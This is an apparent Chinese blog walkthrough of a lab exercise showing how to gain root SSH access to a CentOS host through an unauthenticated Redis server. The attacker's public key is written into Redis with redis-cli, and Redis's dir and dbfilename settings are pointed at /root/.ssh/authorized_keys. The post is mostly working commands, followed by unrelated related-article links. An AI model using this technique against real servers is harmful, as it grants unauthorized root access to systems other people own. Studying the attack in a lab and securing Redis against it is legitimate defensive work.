首先说明一下我们的实验目的,我们这个实验需要利用一种公有密码,将公有密钥写入要攻击的服务器的redis数据库,然后使用我们自己的私钥进行远控肉鸡的操作。

实验环境:centos7(靶机,版本无太大要求,重点是靶机需要开启22端口的ssh服务)

kali(攻击方)

(1)在centos7内安装redis数据库,并以root权限启动redis(安装步骤请参照我写的上一篇 https://www.cnblogs.com/cute-puli/p/10853300.html 

看到饼状图代表redis数据库安装成功

(2)在centos7内开启ssh服务(一般靶机是会将此服务打开的)

在centos的/etc/ssh目录下

输入查询是否安装ssh的命令:

rpm -qa | grep ssh

输入启动ssh的命令:

systemctl restart sshd

输入ssh端口是否监听的命令:

netstat -an | grep 22

能看到22端口已开始监听代表成功开启ssh服务

(3)在靶机的~目录下,创建一个隐藏的.ssh文件夹接收攻击方要传来的公钥值。

mkdir .ssh/

(4)查询是否ssh文件是否已创建好

输入命令:

ls -la

能够看到ssh文件夹的存在

(5)进入攻击方,在攻击方,我们同样需要安装好redis数据库,具体安装流程不再赘述。

上图代表redis已经安装完成

(6)在kali中,我们同样需要创建一个和centos一样的.ssh的文件,但这个.ssh是用来生成密钥的,

在~目录下执行命令:

mkdir .ssh/

ls -la

(7)在kali的这个我们创建的.ssh下产生密钥:

执行语句,提示输入什么时,一直回车就好:

ssh-keygen -t rsa

上图所示代表生成的公有与私有密钥

(8)将公有密钥导入到key.txt中

执行写入语句的操作:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

这时,在.ssh/目录下出现key.txt代表写入成功,可以使用

cat key.txt

进行查看是否成功。

这是成功的回显效果

(9)将公有密钥导入到靶机中,使用如下命令(在kali进行,我的centos7的IP就是192.168.11.205,kali的IP为192.168.172.129)

注:需要在/src的目录下输入如下命令

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.11.205 -x set xxx

(10)连接靶机(这就是为什么kali也要安装redis的原因)

./redis-cli -h 192.168.11.205

如上图这样,需要在/src的目录下输入命令

(11)向靶机的redis数据库创建一个名为authorized_keys的库,并写入key.txt的操作,写入公有密钥:

config set dir /root/.ssh

config set dbfilename authorized_keys

save

我们能够发现,centos靶机已被写入了公有密钥

(12)在kali使用ssh对靶机进行连接,直接即可远控192.168.11.205靶机

输入:

ssh 192.168.11.205

最后说明:这样,我们就成功远控了centos靶机,这里需要提一点:路径都是可以更换的,当你成功的远控了主机之后,就可以更换路径再次尝试这样的操作,还有,我这里的centos使用的是桥接模式,而kali使用的是nat模式,在做实验时,需要保证,kali能ping通靶机环境,否则无法进行写入公有密钥的操作。

redis使用ssh密钥远控靶机的更多相关文章

  1. Python3实现ICMP远控后门(下)之“Boss”出场

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 第三篇:Python3实现ICMP远控后门(中)之"嗅探&qu ...

  2. OSX: SSH密钥使用日记(1)

    大家都知道,一个悠久的历史故事,使用SSH密钥对就可以不用密码登陆远程计算机.经典资料也是不少,不过那些资料对新学者可是有点太不象人话了,不好理解.所以本文试图用更人性一点的语言解释,并演示如何在Ma ...

  3. 2019-9-11:渗透测试,Kill远控软件,初接触

     初步使用Kill远控软件,使win7靶机被远控 该文章仅供学习,利用方法来自网络文章,仅供参考   1,打开运行Kill,选择系统设置,设置监听端口,通讯密码,点击保存设置 2,点击服务生成,上线参 ...

  4. 《Ansible权威指南》笔记(1)——安装,ssh密钥登陆,命令

    2016-12-23 读这本<Ansible权威指南>学习ansible,根据本书内容和网上的各种文档,以及经过自己测试,写出以下笔记.另,这本书内容很好,但印刷错误比较多,作者说第二版会 ...

  5. 多个网站使用不同的SSH密钥登陆(zz)

    多个网站使用不同的SSH密钥登陆   1.创建不同的SSH密钥, -t指定加密方法,RSA或DSA:-C注释:-f指定文件名   www.2cto.com   ssh-keygen -t dsa -C ...

  6. 烂泥:学习ssh之ssh密钥随身携带

    本文由秀依林枫提供友情赞助,首发于烂泥行天下 在上一篇文章<烂泥:学习ssh之ssh无密码登陆>中,我们讲解了如何使用ssh密钥,免密码登陆服务器. 这篇文章我们再来讲解,如何把已经生成的 ...

  7. 添加SSH密钥到GitHub

    $ clip < ~/.ssh/id_rsa.pubbash: /c/Users/UsersName/.ssh/id_rsa.pub: No such file or directory [转] ...

  8. 使用SSH密钥连接Github

    使用Github,也许大家觉得比较麻烦的就是在每次push的时候,都需要输入用户名和密码.如果使用SSH,就可以记住用户名,并创建属于自己 的密码来保证安全操作,还有神奇的一招可以“不用输入密码”哦. ...

  9. [转] SSH 密钥认证机制

    使用 RSA 密钥对进行 SSH 登录验证 使用 RSA 密钥对验证 SSH 的优点是 1) 不用打密码 2) 比密码验证更安全:缺点是 1) 第一次配置的时候有点麻烦 2) 私钥需要小心保存.Any ...

随机推荐

  1. poj 2566 Bound Found 尺取法

    一.首先介绍一下什么叫尺取 过程大致分为四步: 1.初始化左右端点,即先找到一个满足条件的序列. 2.在满足条件的基础上不断扩大右端点. 3.如果第二步无法满足条件则到第四步,否则更新结果. 4.扩大 ...

  2. Kubernets二进制安装(1)集群,软件,IP规划

    1.Kubernetes节点信息情况 主机名 简称 角色 IP地址 操作系统 mfyxw10.mfyxw.com mfyxw10 K8S代理节点1 192.168.80.10 CentOS7.7 mf ...

  3. 缓冲区溢出实验 4 内存管理(类似于malloc free)

    实验环境.代码.及准备 https://www.cnblogs.com/lqerio/p/12870834.html vul4 观察foo函数,可见问题在于最后一次tfree(q).由于之前已经tfr ...

  4. HDU4578 Transformation(多标记线段树)题解

    题意: 操作有:\(1\).区间都加\(a\):\(2\).区间都乘\(a\):\(3\).区间都重置成\(a\):\(4\).询问区间幂次和\(\sum_{i=l}^rnum[i]^p(p\in\{ ...

  5. 牛客多校第九场H Cutting Bamboos(主席树 区间比k小的个数)题解

    题意: 标记为\(1-n\)的竹子,\(q\)个询问,每次给出\(l,r,x,y\).要求为砍区间\(l,r\)的柱子,要求砍\(y\)次把所有竹子砍完,每次砍的时候选一个高度,把比他高的都砍下来,并 ...

  6. css variables & CSS 变量

    css variables & CSS 变量 https://gist.github.com/xgqfrms-GitHub/5d022a13292c615d2730e84d909e1aba c ...

  7. UI & APP

    UI & APP lanhu http://help.lanhuapp.com/hc/ http://help.lanhuapp.com/hc/kb/article/1173434/ 快速使用 ...

  8. css & box-shadow & outline

    css & box-shadow & outline CSS3 box-shadow : 4 sides symmetry https://learning.xgqfrms.xyz/C ...

  9. asm 查看字节码

    a.asm global Start section .text inc dword [esi] push edi mov edi,[esp+0x14] λ nasm -f win32 a.asm - ...

  10. Dart http库

    推荐下我写的一个http库ajanuw_http 最基本的获取数据 import 'package:http/http.dart' as http; main(List<String> a ...